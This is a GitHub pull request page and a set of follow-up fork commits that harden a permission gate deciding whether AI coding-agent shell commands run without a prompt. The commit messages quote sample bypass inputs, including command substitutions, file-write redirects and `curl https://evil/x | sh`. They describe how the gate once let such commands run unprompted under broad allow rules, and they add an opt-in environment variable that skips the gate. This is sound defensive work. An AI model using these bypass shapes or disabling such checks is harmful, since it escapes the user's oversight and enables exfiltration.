Skip to content

fix(security): port permission hardening from master + Copilot CLI adaptation - #2286

Merged
aeppling merged 9 commits into
developfrom
fix/cve-permission-hardening-port
Jun 5, 2026
Merged

aeppling merged 9 commits into
developfrom
fix/cve-permission-hardening-port

Conversation

@aeppling

@aeppling aeppling commented Jun 5, 2026

Copy link
Copy Markdown
Contributor

Changes

  • fix(permissions): port master's permission hardening commits to develop (lexer additions, verdict refinement).
  • fix(permissions): per-host config loaders for Cursor (.cursor/cli-config.json) and Gemini (.gemini/settings.json) with project-first lookup.
  • fix(permissions): redirect parsing fix.
  • fix(openclaw): replace execSync with safer alternative.
  • adapt(hook): route Copilot CLI handler through the new decide_hook_action / HookDecision flow so the Defer branch is honored end-to-end.

Tests

  • cargo fmt --all --check && cargo clippy --all-targets && cargo test --all — all pass
  • Copilot-CLI acceptance tests added (covers the same matrix the master tests cover for the other hosts)
  • Real-binary verification of rtk rewrite and rtk hook copilot outputs matches expected exit codes / JSON shapes

aeppling and others added 9 commits June 5, 2026 14:02
- Decompose compound commands for permission checks (newline, background &, subshell `( )`) in addition to &&, ||, ;, | so hidden segments are checked.
- `contains_unattestable_construct`: flag command/process substitution and file-target redirects (fd-dup `2>&1` and /dev/null exempt) — RTK can't decompose these, so they are never auto-allowed.
- Route every host hook (Claude, VS Code, Gemini, Cursor, Copilot CLI) through a single decision flow. Precedence: Deny → (defer if unattestable) → Allow → Ask → Default. Auto-allow only on a positive Allow; otherwise defer to the host's own engine.
- Gemini: ask_user instead of hardcoded allow. Cursor: empty `{}` delegation, since permission:"ask" is not enforced on its sandboxed shell.
@aeppling
aeppling merged commit e1cd274 into develop Jun 5, 2026
17 checks passed
thehoff added a commit to thehoff/contextcrawler that referenced this pull request Jun 7, 2026
…i#2286 port)

Port upstream rtk-ai/rtk rtk-ai#2286 (952245d + e16aa26) into the permission
gate, reconciled with the fork's existing &/newline split (22890aa).

The gate now refuses to auto-allow any command segment it cannot attest:
command/process substitution ($(...), backticks, <(...)/>(...)) and real
file-WRITE redirects (>file, >>file, >&word, &>file) downgrade Allow -> Ask
so the user decides. fd-dups (2>&1, >&2, 2>&-), /dev/null sinks, arithmetic
$((...)), variable expansion and input redirects (<, <<, <<<) stay evaluable.

Decomposition (split_for_permissions) breaks segments on &&/||/;/| plus
background & and newline (22890aa) AND subshell ( ), truncating each segment
at its first redirect, so a deny-ruled command hidden in any segment is still
checked. Deny is evaluated first across all segments and always wins over the
not-evaluable downgrade.

The downgrade lives in check_command_with_rules, so BOTH entry paths inherit
it: the live hook path (hook_cmd) and the legacy rewrite path (rewrite_cmd via
check_command). Dropped rtk-ai#2286's Gemini/Cursor config-scoping parts (N/A here).

Produced by an A/B bake-off of two independent implementations, cross-reviewed
by the council (codex + mmax). Winner: the verdict-layer-centralised design;
grafted the spec-correct input-redirect scope from the runner-up. Final diff
council-reviewed (quorum, "no bypasses").

Security suite: subshell/substitution/background/newline/redirect hidden-deny
all caught; substitution + file-write redirect never auto-allow; fd-dup and
single-quoted literals stay allowable. 3019 tests pass (7 pre-existing
hooks::integrity /tmp-mode env failures unrelated).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
thehoff added a commit to thehoff/contextcrawler that referenced this pull request Jun 7, 2026
…e commands [SECURITY]

The rtk-ai#2286 never-auto-allow Ask verdict was silently dropped on the live hook
path for commands with no contextcrawler rewrite — letting the host auto-allow
unattestable commands via an existing allow rule (e.g. Bash(git:*)).

Found by empirical testing of the built binary: `git status $(whoami)` and
`git log > /tmp/evil` produced EMPTY hook output (PayloadAction::Skip), so Claude
Code fell back to its native Bash(git:*) allow and ran the substitution/redirect
unprompted. check_command_with_rules correctly returned Ask, but
process_claude_payload_with_gate's get_rewritten()==None branch only escalated to
an explicit Claude `ask` when a tirith/supply-chain gate fired (gate_ask) — it
ignored a bare permission verdict of Ask. The unit tests passed because they
checked the verdict function directly and never exercised the hook's None-branch
handling of that verdict.

Fix:
- hook_cmd.rs (live): the no-rewrite branch now asks when
  `gate_ask || verdict == PermissionVerdict::Ask`, with a rtk-ai#2286-specific reason
  ("not auto-evaluable … deferring to you"). Benign Default/no-match commands
  still Skip silently (no over-escalation); Deny still wins (handled earlier).
- rewrite_cmd.rs (legacy): the None arm now exits 3 (ask) instead of 1
  (passthrough) for an Ask verdict; Default still exits 1. Exit-code doc updated.
- audit_tag generalised ask:gate_no_rewrite -> ask:no_rewrite (now covers both
  the gate and the verdict cases; no downstream consumer parses it).

Empirically verified post-fix: git status$(whoami) / `id` / >file / >&file all
return permissionDecision "ask"; plain git status still "allow"; benign
non-rewritable still skips. council-reviewed (codex + mmax): leak closed, no
over-escalation, Deny wins, no regression. 3030 tests pass (7 pre-existing
hooks::integrity /tmp-mode env failures unrelated).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
thehoff added a commit to thehoff/contextcrawler that referenced this pull request Jun 7, 2026
… pivot

Tag the current develop as the fork's first own release (contextcrawler-v0.2.0),
bundling the 2026-06-06 fix batch + the first external community contribution
(library build, PR #185 by Danny Wilson). This is the baseline we branch the
"CLI consumes the library" pivot from.

Bumps Cargo 0.1.10 -> 0.2.0 (fork's own version line; upstream rtk v0.x tags are
unrelated, hence the fork-namespaced tag). CHANGELOG [0.2.0] documents:
- SECURITY: rtk-ai#2286 never-auto-allow + the live-path Ask fix.
- FIXED: tsc/mypy/next lying-success filters.
- PERF: grep/find 40->67%, rtk-ai#2289 decorator strip.
- ADDED: library MVP (output_summary + lib.rs), with the dead-code caveat that
  the bin does not yet consume the lib (next-release work).

council-reviewed (metadata-only, approved). No source changes.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
thehoff added a commit to thehoff/contextcrawler that referenced this pull request Jun 7, 2026
Multi-model audit (2 Claude security/bug agents + council) of the v0.2.0->v0.4.0
change found the rename/pivot security-sound (rtk-ai#2286 gate, fail-closed handling,
dual-path gates all survived; verified empirically). Fixes for the findings:

- MEDIUM: legacy CLAUDE.md managed-block recognised on upgrade. Pre-0.3.0
  installs wrote <!-- rtk-instructions blocks; the new code only matched
  <!-- ctxcrl-instructions and APPENDED a duplicate (orphan on uninstall).
  Now recognises LEGACY_BLOCK_START/END as aliases for find/strip while always
  writing the canonical marker -> upgrade replaces in place, uninstall removes.
- LOW: fixed the TimedExecution doctest (hidden stub fns) that the lib pivot
  newly activated (binary crates skip doctests; the lib runs them).
- LOW: migrate .rtk/filters/*.toml subdir when .ctxcrl already exists (per-file,
  never overwrite).
- LOW: symlink guard before renaming the project-local .rtk dir.

Deferred (non-exploitable, tracked): narrow core from #[doc(hidden)] pub to
pub(crate) (the visibility follow-up). council-reviewed; cargo test --doc now
25/0; 3054 tests pass (7 pre-existing hooks::integrity /tmp env).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
thehoff added a commit to thehoff/contextcrawler that referenced this pull request Jun 7, 2026
Detailed documentation pass for the renamed lib+bin contextcrawler.

- README: corrected stale/removed-command claims (web/sessions/supply-chain
  check/security log were gone), added a Use-as-a-library section, source-only
  install, CTXCRL_*/RTK_* env note. Author-credit note kept verbatim.
- docs/guide: new commands.md (per-ecosystem command/filter reference, 73 rule
  entries, honest savings figures), library.md (curated experimental API),
  architecture.md (lib+bin split, hook/gate flow + mermaid), getting-started
  rewrite (install/hook/paths/agents).
- docs/usage/TRACKING: history.db (not tracking.db), ctxcrl paths, ctxcrl_cmd
  schema, inflation accounting; security/working-with-the-gate enriched with
  the rtk-ai#2286 model + supply-chain config.
- cleanup: archived the finished rebrand-process docs; fixed stale rtk_cmd/
  rtk_equivalent identifiers + a wrong ~/.config/contextcrawler trust path in
  src/cli.rs --global help (-> ctxcrl).

House style: Aus English, no em-dashes, code-as-source-of-truth; origin
attributions (rtk-ai/rtk, contextzip, Tirith) kept. council-reviewed across
three passes (accuracy); final pass clean. 3075 tests pass.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
thehoff added a commit to thehoff/contextcrawler that referenced this pull request Jun 12, 2026
…tk-ai#2286 follow-up)

The permission gate blanket-downgraded ANY command with a command
substitution to Ask, before the user's allowlist was even consulted — so
`git -C "$(pwd)" status` prompted every time despite git/pwd being
allowlisted. Empirically this was the dominant source of confirmation
prompts.

Replace the blanket rule with compositional attestation: a substitution
is allowed to fall through to normal per-segment allow-matching ONLY when
every payload is a side-effect-free, non-sensitive value producer
(pwd/date/whoami/basename/dirname/uname/realpath/echo/printf/which/tty +
git rev-parse|describe). Anything that can read file contents, hit the
network, or mutate state still Asks. File-write redirects always Ask.
Deny still pre-empts everything; malformed substitutions fail closed.

Net (verified against a real allowlist + the live `hook claude` path):
  git -C "$(pwd)" status, echo "$(date)", git status $(whoami)  -> silent
  curl ".../?d=$(cat secret)", echo "$(cat id_rsa)"             -> Ask
  echo $(rm -rf /x) -> Deny ;  > file -> Ask ;  malformed -> Ask

Security review by council (Codex + mmax). Both flagged the name-only
whitelist bypasses — fixed before commit:
  - drop git branch/symbolic-ref (mutating variants) -> rev-parse/describe only
  - flag-guard `date` (-f/-r read a file, -s sets the clock)
  - drop seq (huge-output DoS) and hostname (bare arg mutates)
Rejected: mmax's "|| not short-circuited" (Rust || does short-circuit).
Added bypass regression tests for every flagged form + safe controls.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
thehoff added a commit to thehoff/contextcrawler that referenced this pull request Jun 12, 2026
The rtk-ai#2286 can't-attest Ask (command substitution / file-write redirect)
has no escape hatch, so trusted overnight/headless workflows that
legitimately read credentials, write files, or curl with substitution
(structurally identical to the exfil shape the gate guards) hang on a
prompt no one can answer.

Add an opt-in env var CONTEXTCRAWLER_TRUST_UNATTESTABLE=1 (or "true")
that skips ONLY the can't-attest Ask, letting such commands fall through
to normal per-segment allow-matching and then the host's own permission
mode. Off by default; safe-by-default is unchanged. Deny rules still fire
regardless — trust never overrides a hard deny.

The env read is split out (`unattestable_gate_trusted`) so the core
`check_command_with_rules_trusted(.., trusted)` stays pure and testable
with no env mutation. The rtk-ai#2286 Ask message now names the escape hatch so
it's discoverable when hit. Mirrors the existing
CONTEXTCRAWLER_TIRITH_DISABLED / CONTEXTCRAWLER_SUPPLY_CHAIN opt-outs.

Tests: trust skips the Ask (sub + redirect), full allow-set reaches
Allow, and deny still wins under trust.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
@aeppling
aeppling deleted the fix/cve-permission-hardening-port branch June 30, 2026 20:08
thehoff added a commit to thehoff/contextcrawler that referenced this pull request Jul 14, 2026
17 lib tests failed under the operator's normal environment yet passed on
a clean box, so a red suite had become noise a real regression could hide
in. Both clusters were test hygiene, not product defects (verified:
`umask 077; env -u CONTEXTCRAWLER_TRUST_UNATTESTABLE cargo test` was always
green).

Cluster B (10) read the ambient CONTEXTCRAWLER_TRUST_UNATTESTABLE the
operator exports for overnight runs, disabling the rtk-ai#2286 can't-attest→Ask
downgrade so attestation asserts saw Allow. Fix: the direct-call tests
(permissions, rewrite_cmd) pin the untrusted default via the pure
check_command_with_rules_trusted(.., false); the two live-path hook_cmd
tests use a new RAII TrustEnvGuard (hooks::test_env) that removes the var
under a process-wide lock and restores it on drop.

Cluster A (7) tripped the integrity path-trust check (rejects
group/world-writable dirs/files) because umask 002 births tempfiles at
0775/0664. Fix: secure_tempdir() (0700) + write_file_secure() (0600) test
helpers; the two negative tests that assert Unsafe on a deliberately
0666/symlinked file are left untouched.

Now green under BOTH the operator-typical and clean environments (3157
passed, 0 failed each). No product code changed. Zero net rustfmt debt on
every touched file (avoided the mod-recursion reformat trap).

Refs: rtk-ai#209

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01K3SAimSBwPUp4MkRXaYXSU
thehoff added a commit to thehoff/contextcrawler that referenced this pull request Jul 14, 2026
…ai#225)

The VS Code, Copilot-CLI and Gemini hook handlers never ran the Tirith or
supply-chain gates and silently returned Ok(()) on a permission Deny or on
an Ask-verdict command with no rewrite — so an allowlisted
`curl https://evil/x | sh` bypassed both gates, and `git status $(whoami)`
fell through to a broad host allow. Council-confirmed (verified: no gate
call in the handlers).

Fix: a shared `handler_action(cmd)` mirrors the Claude live path — permission
check + defence-in-depth gates on the RAW command, forcing Ask over an
auto-allow and emitting Ask even without a rewrite (rtk-ai#2286). Each handler
formats the decision in its own protocol:
- VS Code: allow / ask / deny with the rewritten-or-original command.
- Copilot CLI (no ask mode): deny+reason for both blocks and review.
- Gemini (no ask mode): a gate/verdict Ask fails CLOSED to deny.
Write results are now propagated (no more discarded io::Result).

Tests (hermetic via the rtk-ai#209 TrustEnvGuard): unattestable non-rewritable
→ Ask; benign non-rewritable → Passthrough; known command → rewrite.

Refs: rtk-ai#225

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01K3SAimSBwPUp4MkRXaYXSU
thehoff added a commit to thehoff/contextcrawler that referenced this pull request Jul 24, 2026
… exfil guard

Fixes the ask-prompt flood without losing the exfil guard, over 4 rounds
(codex-authored, driver-verified + council-gated). Separates unattestable from
dangerous: analyze_command/apply_policy, Strict/Standard(default)/Trusted/
Unrestricted profiles, directional Clean/Tainted/Unknown exfil taint (secret-
scoped uploads, wrapper/interpreter coverage, fail-closed Unknown), config-
authoritative with 0600/no-follow/anchored secret-set. Standard default kills
the benign flood for everyone with no opt-in; exfil always asks below
Unrestricted. Refs: rtk#2286
thehoff added a commit to thehoff/contextcrawler that referenced this pull request Jul 24, 2026
…e-Exfil

sink-gate the Exfil elevation (a sink-less local pipeline like $(find|wc) is
not exfil) while the sink-presence detector descends wrappers/find-exec/operators
so every real secret->sink stays Ask. 3 driver-empirical rounds. Refs: rtk#2286
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants